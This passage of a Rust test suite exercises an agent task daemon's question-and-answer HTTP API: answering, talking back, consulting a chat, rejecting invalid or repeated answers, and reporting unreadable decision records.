13096 };
13097 let mut state = crate::land::tests::repair_state(true, true);
13098 state.status = RunStatus::Landing;
13099 state.parked = true;
13100 state.driver_exited = true;
13101 let mut task = Task::new(
13102 "Existing PR owner".into(),
13103 state.instruction.clone(),
13104 state.repo.clone(),
13105 Source::Human,
13106 );
13107 task.runs.push(state.id.clone());
13108 task.status = TaskStatus::Parked;
13109 fx.queue().put(&mut task).unwrap();
13110 let mut q = Question::new(
13111 state.id.clone(),
13112 crate::land::APPROVAL_NODE.into(),
13113 "land".into(),
13114 "Contested merge".into(),
13115 "Original evidence".into(),
13116 vec!["merge".into(), "hold".into()],
13117 );
13118 state.land_approval = Some(crate::run::LandApproval {
13119 question: q.id.clone(),
13120 head: "reviewed-head".into(),
13121 });
13122 state.save_under(fx.home.path()).unwrap();
13123 fx.questions().put(&mut q).unwrap();
13124 task.hold_manual(Some("Pause this PR".into()));
13126 fx.queue().put(&mut task).unwrap();
13127 let ui = Arc::new(Ui::new(
13130 fx.queue(),
13131 fx.questions(),
13132 fx.talks(),
13133 fx.runs(),
13134 fx.home.path().to_path_buf(),
13135 state.repo.clone(),
13136 ));
13137 let response = question_answer(
13138 State(ui),
13139 Path(q.id.clone()),
13140 Ok(Json(NewAnswer {
13141 choice: Some(crate::land::REPAIR.into()),
13142 text: None,
13143 ..Default::default()
13144 })),
13145 )
13146 .await
13147 .unwrap();
13148 assert_eq!(response.0.question.id, q.id);
13149 let upgraded = fx.questions().get(&q.id).unwrap();
13150 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13151 assert!(upgraded.detail.starts_with("Original evidence"));
13152 let claim = fx.queue().claim(&task.id).unwrap();
13153 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13154 assert!(
13155 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13156 "an existing driver keeps its claim"
13157 );
13158 drop(claim);
13159 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13160 let resumed = fx.queue().get(&task.id).unwrap();
13161 assert_eq!(
13162 resumed
13163 .resume_override
13164 .as_ref()
13165 .unwrap()
13166 .pinned_run
13167 .as_deref(),
13168 Some(state.id.as_str())
13169 );
13170 assert!(resumed.status.runnable());
13171 assert_eq!(resumed.instruction, task.instruction);
13172 assert_eq!(resumed.runs, task.runs);
13173 assert!(resumed.action_applied(&q.id));
13174 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13175 assert_eq!(fx.queue().list().len(), 1);
13176 assert_eq!(
13177 fx.queue().get(&task.id).unwrap().resume_override,
13178 resumed.resume_override
13179 );
13180 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13181 assert!(
13182 disk.merge_repairs.is_empty(),
13183 "only the claimed run driver may execute repair"
13184 );
13185 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13186 }
13187
13188 #[tokio::test]
13189 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13190 let fx = Fixture::start().await;
13191 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13192 let path = format!("/api/questions/{id}/answer");
13193
13194 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13195 assert_eq!(res.status, 200, "{}", res.body);
13196 let body = res.json();
13197 assert_eq!(body["status"], "answered");
13198 assert_eq!(body["answer"]["choice"], "Redis");
13199
13200 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13204 assert_eq!(again.status, 409, "{}", again.body);
13205 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13206 }
13207
13208 #[tokio::test]
13209 async fn fresh_api_answers_survive_task_inquiry_migration() {
13210 use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13211 for migrate_first in [false, true] {
13212 let fx = Fixture::start().await;
13213 let mut task = Task::new(
13214 "work".into(),
13215 "work".into(),
13216 PathBuf::from("/repo/magi"),
13217 Source::Human,
13218 );
13219 task.runs.push("run-a".into());
13220 fx.queue().put(&mut task).unwrap();
13221 let mut q = Question::new(
13222 "run-a".into(),
13223 "implement".into(),
13224 "impl-A".into(),
13225 "Keep held?".into(),
13226 String::new(),
13227 vec!["hold".into()],
13228 );
13229 q.actions.insert("hold".into(), ChoiceAction::Hold);
13230 fx.questions().put(&mut q).unwrap();
13231 if migrate_first {
13232 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13233 }
13234 let response = fx
13235 .post(
13236 &format!("/api/questions/{}/answer", q.id),
13237 Some(r#"{"choice":"hold"}"#),
13238 )
13239 .await;
13240 assert_eq!(response.status, 200, "{}", response.body);
13241 for _ in 0..2 {
13242 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13243 let source = fx.questions().get(&q.id).unwrap();
13244 assert_eq!(source.resolution().as_deref(), Some("hold"));
13245 let decision = Outbox::at(fx.home.path())
13246 .get(&q.id)
13247 .unwrap()
13248 .decision
13249 .unwrap();
13250 assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13251 assert_eq!(decision.source_answer_at, source.answered_at);
13252 assert_eq!(decision.status, Status::Queued);
13253 }
13254 assert_eq!(
13255 fx.post(
13256 &format!("/api/questions/{}/answer", q.id),
13257 Some(r#"{"choice":"hold"}"#)
13258 )
13259 .await
13260 .status,
13261 409
13262 );
13263 }
13264 }
13265
13266 #[tokio::test]
13267 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13268 let home = tempfile::tempdir().unwrap();
13269 let ui = delta_test_ui(home.path());
13270 let mut q = Question::new(
13271 "task".into(),
13272 crate::land::APPROVAL_NODE.into(),
13273 "land".into(),
13274 "Explain?".into(),
13275 String::new(),
13276 vec!["hold".into()],
13277 );
13278 q.deputy = Some(ask::Deputy::new("context".into()));
13279 ui.questions.put(&mut q).unwrap();
13280 let mut cfg = stub_config();
13281 cfg.daemon.max_deputies = 0;
13282 let mut status = crate::daemon::Status::new();
13283 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13284 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13285 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13286 let error = question_say(
13287 State(ui.clone()),
13288 Path(q.id.clone()),
13289 Ok(Json(NewSay {
13290 body: "Explain the findings".into(),
13291 })),
13292 )
13293 .await
13294 .unwrap_err();
13295 assert_eq!(
13296 error.text_reason,
13297 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13298 );
13299 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13300
13301 let mut text = Question::new(
13302 "task".into(),
13303 "ask".into(),
13304 "operator".into(),
13305 "Which name?".into(),
13306 String::new(),
13307 vec![],
13308 );
13309 ui.questions.put(&mut text).unwrap();
13310 let Json(view) = question_answer(
13311 State(ui.clone()),
13312 Path(text.id.clone()),
13313 Ok(Json(NewAnswer {
13314 choice: None,
13315 text: Some("chosen name".into()),
13316 ..Default::default()
13317 })),
13318 )
13319 .await
13320 .unwrap();
13321 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13322 assert!(!ui.questions.get(&text.id).unwrap().status.open());
13323 }
13324
13325 #[tokio::test]
13326 async fn question_text_handler_admission_without_transport() {
13327 let home = tempfile::tempdir().unwrap();
13328 let ui = delta_test_ui(home.path());
13329 let mut q = Question::new(
13330 "task".into(),
13331 crate::land::APPROVAL_NODE.into(),
13332 "land".into(),
13333 "May this PR merge?".into(),
13334 String::new(),
13335 vec!["hold".into()],
13336 );
13337 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13338 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13339 ui.questions.put(&mut q).unwrap();
13340 let say = || {
13341 Ok(Json(NewSay {
13342 body: "Explain the findings".into(),
13343 }))
13344 };
13345 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13346 .await
13347 .unwrap_err();
13348 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13349 let response = rejected.into_response();
13350 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13351 .await
13352 .unwrap();
13353 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13354 assert_eq!(body["code"], "question_text_unavailable");
13355 assert_eq!(body["reason"], "deputy_exhausted");
13356 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13357 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13358 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13359 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13360 .await
13361 .unwrap();
13362 assert_eq!(view.text_delivery.state, "live");
13363 assert!(view.question.waiter.is_none());
13364 assert!(view.question.cwd.is_none());
13365 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13366 ui.questions.drop_lease(&q.id);
13367 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13368 .await
13369 .unwrap_err();
13370 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13371 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13372 let _ = question_answer(
13373 State(ui.clone()),
13374 Path(q.id.clone()),
13375 Ok(Json(NewAnswer {
13376 choice: Some("hold".into()),
13377 text: None,
13378 ..Default::default()
13379 })),
13380 )
13381 .await
13382 .unwrap();
13383 assert_eq!(
13384 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13385 Some("hold")
13386 );
13387 }
13388
13389 #[tokio::test]
13390 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13391 let fx = Fixture::start().await;
13392 let store = fx.questions();
13393 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13394 store
13395 .update(&id, |q| {
13396 q.node = crate::land::APPROVAL_NODE.to_owned();
13397 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13398 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13399 Ok(())
13400 })
13401 .unwrap();
13402 let path = format!("/api/questions/{id}/say");
13403 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13404 assert_eq!(refused.status, 422, "{}", refused.body);
13405 assert!(
13406 refused.json()["error"]
13407 .as_str()
13408 .unwrap()
13409 .contains("deputy_exhausted")
13410 );
13411 assert!(store.get(&id).unwrap().thread.is_empty());
13412
13413 store.beat(&id, ask::WaiterKind::Deputy);
13415 let view = fx.get("/api/questions").await.json();
13416 assert_eq!(view[0]["text_delivery"]["state"], "live");
13417 let accepted = fx
13418 .post(&path, Some(r#"{"body":"explain the findings"}"#))
13419 .await;
13420 assert_eq!(accepted.status, 200, "{}", accepted.body);
13421 let before = std::fs::read(store.path_of(&id)).unwrap();
13422
13423 store.drop_lease(&id);
13426 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13427 assert_eq!(refused.status, 422, "{}", refused.body);
13428 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13429 let held = fx
13430 .post(
13431 &format!("/api/questions/{id}/answer"),
13432 Some(r#"{"choice":"hold"}"#),
13433 )
13434 .await;
13435 assert_eq!(held.status, 200, "{}", held.body);
13436 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13437 }
13438
13439 #[tokio::test]
13440 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13441 let repo = tempfile::tempdir().unwrap();
13442 let mut cfg = stub_config();
13443 cfg.daemon.max_deputies = 0;
13444 std::fs::write(
13445 repo.path().join("magi.toml"),
13446 toml::to_string(&cfg).unwrap(),
13447 )
13448 .unwrap();
13449 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13450 let mut status = crate::daemon::Status::new();
13451 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13452 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13453 let id = ask(&fx, "Explain?", &["hold"]);
13454 fx.questions()
13455 .update(&id, |q| {
13456 q.node = crate::land::APPROVAL_NODE.into();
13457 q.deputy = Some(ask::Deputy::new("context".into()));
13458 q.deputy.as_mut().unwrap().agent = "stub".into();
13459 Ok(())
13460 })
13461 .unwrap();
13462 cfg.daemon.max_deputies = 1;
13463 std::fs::write(
13464 repo.path().join("magi.toml"),
13465 toml::to_string(&cfg).unwrap(),
13466 )
13467 .unwrap();
13468 let view = fx.get("/api/questions").await.json();
13469 assert_eq!(view[0]["deputies_enabled"], true);
13470 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13471 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13472 let res = fx
13473 .post(
13474 &format!("/api/questions/{id}/say"),
13475 Some(r#"{"body":"Please explain"}"#),
13476 )
13477 .await;
13478 assert_eq!(res.status, 422, "{}", res.body);
13479 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13480 }
13481
13482 #[tokio::test]
13483 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13484 let fx = Fixture::start().await;
13485 let id = ask(&fx, "No seat", &[]);
13486 let store = fx.questions();
13487 let before = std::fs::read(store.path_of(&id)).unwrap();
13488 let res = fx
13489 .post(
13490 &format!("/api/questions/{id}/say"),
13491 Some(r#"{"body":"hello"}"#),
13492 )
13493 .await;
13494 assert_eq!(res.status, 422, "{}", res.body);
13495 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13496 let res = fx
13497 .post(
13498 &format!("/api/questions/{id}/answer"),
13499 Some(r#"{"text":"hello"}"#),
13500 )
13501 .await;
13502 assert_eq!(res.status, 200, "{}", res.body);
13503 assert_eq!(
13504 store.get(&id).unwrap().resolution().as_deref(),
13505 Some("hello")
13506 );
13507 }
13508
13509 #[tokio::test]
13510 async fn saying_something_appends_a_turn_without_answering() {
13511 let fx = Fixture::start().await;
13512 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13513 fx.questions().beat(&id, ask::WaiterKind::Asker);
13514 let path = format!("/api/questions/{id}/say");
13515
13516 let res = fx
13517 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13518 .await;
13519 assert_eq!(res.status, 200, "{}", res.body);
13520 let body = res.json();
13521 assert_eq!(body["status"], "open", "talking back is not a decision");
13522 assert_eq!(body["answer"], Value::Null);
13523 assert_eq!(body["thread"][0]["who"], "operator");
13524 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13525 assert_eq!(body["waiting_on_agent"], true);
13526 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13528 }
13529
13530 #[tokio::test]
13531 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13532 let fx = Fixture::start().await;
13533 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13534
13535 let list = fx.get("/api/questions").await.json();
13536 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13537
13538 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13539 assert_eq!(res.status, 409, "{}", res.body);
13540 let q = fx.questions().get(&id).unwrap();
13541 assert!(q.status.open());
13542 assert!(q.consult.is_none());
13543 }
13544
13545 #[tokio::test]
13546 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13547 let fx = Fixture::start().await;
13548 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13549 let cfg = Config {
13550 agents: vec![crate::config::AgentSpec {
13551 id: "mock".to_owned(),
13552 kind: crate::config::AgentKind::Command,
13553 model: None,
13554 command: vec!["true".to_owned()],
13555 extra_args: Vec::new(),
13556 env: Default::default(),
13557 prompt_delivery: None,
13558 max_turn_secs: None,
13559 }],
13560 ..Config::default()
13561 };
13562 let talk = crate::talk::begin(
13563 &fx.talks(),
13564 &cfg,
13565 fx.home.path().to_path_buf(),
13566 Some("mock"),
13567 )
13568 .unwrap();
13569 let mut task = Task::new(
13570 "t".to_owned(),
13571 "Do it".to_owned(),
13572 PathBuf::from("/repo/magi"),
13573 Source::Agent {
13574 run: talk.id.clone(),
13575 node: crate::queue::CHAT_NODE.to_owned(),
13576 },
13577 );
13578 task.start("20260902-000000-beef".to_owned());
13579 fx.queue().put(&mut task).unwrap();
13580
13581 let list = fx.get("/api/questions").await.json();
13582 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13583 assert_eq!(
13584 list[0]["choices"],
13585 serde_json::json!(["SQLite", "Redis"]),
13586 "the hand-over is never a choice"
13587 );
13588 fx.questions()
13589 .update(&id, |q| {
13590 q.node = crate::land::APPROVAL_NODE.into();
13591 q.choices = vec!["merge".into(), "hold".into()];
13592 Ok(())
13593 })
13594 .unwrap();
13595 let list = fx.get("/api/questions").await.json();
13596 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13597 assert_eq!(list[0]["can_consult_chat"], true);
13598 fx.questions()
13599 .update(&id, |q| {
13600 q.node = crate::bump::NOTICE_NODE.into();
13601 Ok(())
13602 })
13603 .unwrap();
13604 let list = fx.get("/api/questions").await.json();
13605 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13606 assert_eq!(list[0]["can_consult_chat"], false);
13607 }
13608
13609 #[tokio::test]
13610 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13611 let fx = Fixture::start().await;
13612 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13613 fx.questions()
13614 .update(&id, |q| {
13615 q.node = crate::land::APPROVAL_NODE.into();
13616 q.choices = vec!["merge".into(), "hold".into()];
13617 Ok(())
13618 })
13619 .unwrap();
13620 let cfg = Config {
13621 agents: vec![crate::config::AgentSpec {
13622 id: "mock".to_owned(),
13623 kind: crate::config::AgentKind::Command,
13624 model: None,
13625 command: vec!["true".to_owned()],
13626 extra_args: Vec::new(),
13627 env: Default::default(),
13628 prompt_delivery: None,
13629 max_turn_secs: None,
13630 }],
13631 ..Config::default()
13632 };
13633 let repo = fx.home.path().join("chat-repo");
13635 std::fs::create_dir_all(&repo).unwrap();
13636 let toml = repo.join("magi.toml");
13637 std::fs::write(&toml, "this is = = not toml").unwrap();
13638 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13639 let mut task = Task::new(
13640 "t".to_owned(),
13641 "Do it".to_owned(),
13642 PathBuf::from("/repo/magi"),
13643 Source::Agent {
13644 run: talk.id.clone(),
13645 node: crate::queue::CHAT_NODE.to_owned(),
13646 },
13647 );
13648 task.start("20260902-000000-beef".to_owned());
13649 fx.queue().put(&mut task).unwrap();
13650
13651 let path = format!("/api/questions/{id}/consult");
13652 let res = fx.post(&path, None).await;
13653 assert!(res.status >= 400, "{}", res.body);
13654 assert!(fx.questions().get(&id).unwrap().consult.is_none());
13655 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13656
13657 std::fs::write(&toml, "").unwrap();
13658 let res = fx.post(&path, None).await;
13659 assert_eq!(res.status, 202, "{}", res.body);
13660 assert!(fx.questions().get(&id).unwrap().consult.is_some());
13661 let q = fx.questions().get(&id).unwrap();
13662 assert!(q.status.open());
13663 assert!(q.answer.is_none());
13664 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13665 assert_eq!(res.json()["can_consult_chat"], true);
13666 let list = fx.get("/api/questions").await.json();
13667 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13668 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13669
13670 let res = fx
13671 .post(
13672 &format!("/api/questions/{id}/answer"),
13673 Some(r#"{"choice":"hold"}"#),
13674 )
13675 .await;
13676 assert_eq!(res.status, 200, "{}", res.body);
13677 assert_eq!(res.json()["answer"]["choice"], "hold");
13678 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13679 assert_eq!(res.json()["can_consult_chat"], false);
13680 assert_eq!(fx.post(&path, None).await.status, 409);
13681
13682 let mut talk = fx.talks().get(&talk.id).unwrap();
13683 crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
13685 crate::talk::close(&mut talk, &fx.talks()).unwrap();
13686 let list = fx.get("/api/questions").await.json();
13687 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13688 assert_eq!(list[0]["origin_chat_closed"], true);
13689 assert_eq!(list[0]["can_consult_chat"], false);
13690
13691 fx.talks().remove(&talk.id).unwrap();
13692 let list = fx.get("/api/questions").await.json();
13693 assert_eq!(list[0]["origin_chat"], Value::Null);
13694 assert_eq!(list[0]["origin_chat_closed"], false);
13695 assert_eq!(list[0]["can_consult_chat"], false);
13696 }
13697
13698 #[tokio::test]
13699 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13700 let fx = Fixture::start().await;
13701 let store = fx.questions();
13702 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13703 store.beat(&id, ask::WaiterKind::Asker);
13704 assert_eq!(
13705 fx.get("/api/health").await.json()["questions_needs_owner"],
13706 1
13707 );
13708
13709 let res = fx
13715 .post(
13716 &format!("/api/questions/{id}/say"),
13717 Some(r#"{"body":"why not Postgres?"}"#),
13718 )
13719 .await;
13720 assert_eq!(res.status, 200, "{}", res.body);
13721 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13722 assert_eq!(
13723 fx.get("/api/health").await.json()["questions_needs_owner"],
13724 0,
13725 "waiting on the agent is not waiting on the owner"
13726 );
13727
13728 let mut q = store.get(&id).expect("get");
13732 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13733 .expect("reply");
13734 store.put(&mut q).expect("put");
13735 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13736 assert_eq!(
13737 fx.get("/api/health").await.json()["questions_needs_owner"],
13738 1,
13739 "the agent's reply is what should light the banner back up"
13740 );
13741 }
13742
13743 #[tokio::test]
13744 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13745 let fx = Fixture::start().await;
13746 let store = fx.questions();
13747
13748 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13749 let res = fx
13750 .post(
13751 &format!("/api/questions/{empty_id}/say"),
13752 Some(r#"{"body":" "}"#),
13753 )
13754 .await;
13755 assert_eq!(res.status, 400, "{}", res.body);
13756
13757 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13758 let mut answered = store.get(&answered_id).expect("get");
13759 answered
13760 .answer(Answer::Choice("SQLite".to_owned()))
13761 .expect("answer");
13762 store.put(&mut answered).expect("put");
13763 let res = fx
13764 .post(
13765 &format!("/api/questions/{answered_id}/say"),
13766 Some(r#"{"body":"still there?"}"#),
13767 )
13768 .await;
13769 assert_eq!(res.status, 409, "{}", res.body);
13770
13771 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13772 let mut abandoned = store.get(&abandoned_id).expect("get");
13773 abandoned.abandon("timed out");
13774 store.put(&mut abandoned).expect("put");
13775 let res = fx
13776 .post(
13777 &format!("/api/questions/{abandoned_id}/say"),
13778 Some(r#"{"body":"still there?"}"#),
13779 )
13780 .await;
13781 assert_eq!(res.status, 409, "{}", res.body);
13782 }
13783
13784 #[tokio::test]
13785 async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
13786 let fx = Fixture::start().await;
13787 let questions = fx.questions();
13788 let mut q = Question::new(
13789 String::new(),
13790 crate::bump::NOTICE_NODE.into(),
13791 "release-watch".into(),
13792 "Release PR approval".into(),
13793 "Saved head".into(),
13794 vec!["merge".into(), "hold".into()],
13795 );
13796 q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
13797 q.merge_target = Some(crate::merge_decision::Target {
13798 pr: "https://example.test/mebae/pull/100".into(),
13799 head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
13800 language: "en".into(),
13801 });
13802 q.answer(Answer::Choice("merge".into())).unwrap();
13803 q.answer_delivered = true;
13804 questions.put(&mut q).unwrap();
13805 let dir = fx.home.path().join("notifications/task-chat-migration-v1");
13806 std::fs::create_dir_all(&dir).unwrap();
13807 std::fs::write(
13808 dir.join("state.json"),
13809 serde_json::to_vec(&serde_json::json!({
13810 "schema": 1, "sources": [q.id], "pending": [q.id]
13811 }))
13812 .unwrap(),
13813 )
13814 .unwrap();
13815 let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
13816 for migrated in [false, true] {
13817 if migrated {
13818 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
13819 }
13820 for endpoint in ["/api/questions", "/api/questions/core"] {
13821 let response = fx.get(endpoint).await;
13822 assert_eq!(response.status, 200);
13823 let rows = response.json();
13824 let row = rows
13825 .as_array()
13826 .unwrap()
13827 .iter()
13828 .find(|r| r["id"] == q.id)
13829 .unwrap();
13830 assert_eq!(row["status"], "answered");
13831 assert_eq!(row["answer"]["choice"], "merge");
13832 assert_eq!(row["can_answer"], false);
13833 assert_eq!(row["history_only"], true);
13834 }
13835 let answer = fx
13836 .post(
13837 &format!("/api/questions/{}/answer", q.id),
13838 Some(r#"{"choice":"merge"}"#),
13839 )
13840 .await;
13841 assert_eq!(answer.status, 409, "{}", answer.body);
13842 assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
13843 }
13844 }
13845
13846 #[tokio::test]
13847 async fn an_answer_the_question_does_not_offer_is_refused() {
13848 let fx = Fixture::start().await;
13849 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13850 let path = format!("/api/questions/{id}/answer");
13851
13852 for body in [
13853 r#"{"choice":"Postgres"}"#,
13854 r#"{"text":"whatever you think"}"#,
13855 r#"{"choice":"Redis","text":"both"}"#,
13856 r#"{}"#,
13857 ] {
13858 let res = fx.post(&path, Some(body)).await;
13859 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13860 assert!(res.json()["error"].is_string(), "{}", res.body);
13861 }
13862 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13864 }
13865
13866 #[tokio::test]
13867 async fn a_free_text_question_takes_text_and_not_a_choice() {
13868 let fx = Fixture::start().await;
13869 let id = ask(&fx, "What should the flag be called?", &[]);
13870 fx.questions().beat(&id, ask::WaiterKind::Asker);
13871 let path = format!("/api/questions/{id}/answer");
13872
13873 assert_eq!(
13874 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13875 400
13876 );
13877 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13878 assert_eq!(res.status, 200, "{}", res.body);
13879 assert_eq!(res.json()["answer"]["text"], "--json");
13880 }
13881
13882 #[tokio::test]
13883 async fn an_unknown_question_is_a_json_404() {
13884 let fx = Fixture::start().await;
13885 let res = fx
13886 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13887 .await;
13888 assert_eq!(res.status, 404, "{}", res.body);
13889 assert!(res.json()["error"].is_string());
13890 }
13891
13892 #[tokio::test]
13893 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13894 let fx = Fixture::start().await;
13895 let questions = Questions::at(fx.home.path().join("questions"));
13896 let store = Notices::at(fx.home.path().join("notifications"));
13897 let mut q = ask::Question::new(
13898 "t1".into(),
13899 "conduct".into(),
13900 "conductor".into(),
13901 "Continue?".into(),
13902 String::new(),
13903 Vec::new(),
13904 );
13905 questions.put(&mut q).unwrap();
13906 let mut n = Notice::warn("task:t1", "Task t1 is held.");
13907 n.covered_by = Some(q.id.clone());
13908 let n = store.raise(n).unwrap();
13909 let listed = fx.get("/api/notifications").await.json();
13910 assert_eq!(listed["items"][0]["answerable_question"], q.id);
13911 questions
13912 .update(&q.id, |q| {
13913 q.abandon("run gone");
13914 Ok(())
13915 })
13916 .unwrap();
13917 let listed = fx.get("/api/notifications").await.json();
13918 assert!(listed["items"][0]["answerable_question"].is_null());
13919 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13920 assert!(
13921 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13922 .unwrap()
13923 .contains("answerable_question")
13924 );
13925 }
13926
13927 #[tokio::test]
13928 async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13929 let fx = Fixture::start().await;
13930 let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13931 let task = crate::queue::Task::new(
13932 "work".into(),
13933 "work".into(),
13934 fx.home.path().into(),
13935 crate::queue::Source::Human,
13936 );
13937 let inquiry = outbox
13938 .file(&task, None, "test".into(), "入力待ち", "詳細")
13939 .unwrap();
13940 let root = fx.home.path().join("notifications/task-inquiries");
13941 std::fs::write(root.join("broken.json"), "{").unwrap();
13942 let mut unsupported = inquiry.clone();
13943 unsupported.id = "unsupported".into();
13944 unsupported.schema = 99;
13945 std::fs::write(
13946 root.join("unsupported.json"),
13947 serde_json::to_vec(&unsupported).unwrap(),
13948 )
13949 .unwrap();
13950 let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
13951 for _ in 0..2 {
13952 let response = fx.get("/api/decisions").await;
13953 assert_eq!(response.status, 200, "{}", response.body);
13954 let listed = response.json();
13955 assert_eq!(listed["unreadable"], 2);
13956 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13957 assert_eq!(listed["items"][0]["id"], inquiry.id);
13958 assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
13959 }
13960 assert_eq!(
13961 before,
13962 std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
13963 );
13964 assert!(outbox.list().is_err());
13965 std::fs::remove_file(root.join("broken.json")).unwrap();
13966 std::fs::remove_file(root.join("unsupported.json")).unwrap();
13967 assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
13968 }
13969
13970 #[tokio::test]
13971 async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
13972 let fx = Fixture::start().await;
13973 let root = fx.home.path().join("notifications/task-chat-migration-v1");
13974 std::fs::create_dir_all(&root).unwrap();
13975 let journal = serde_json::json!({
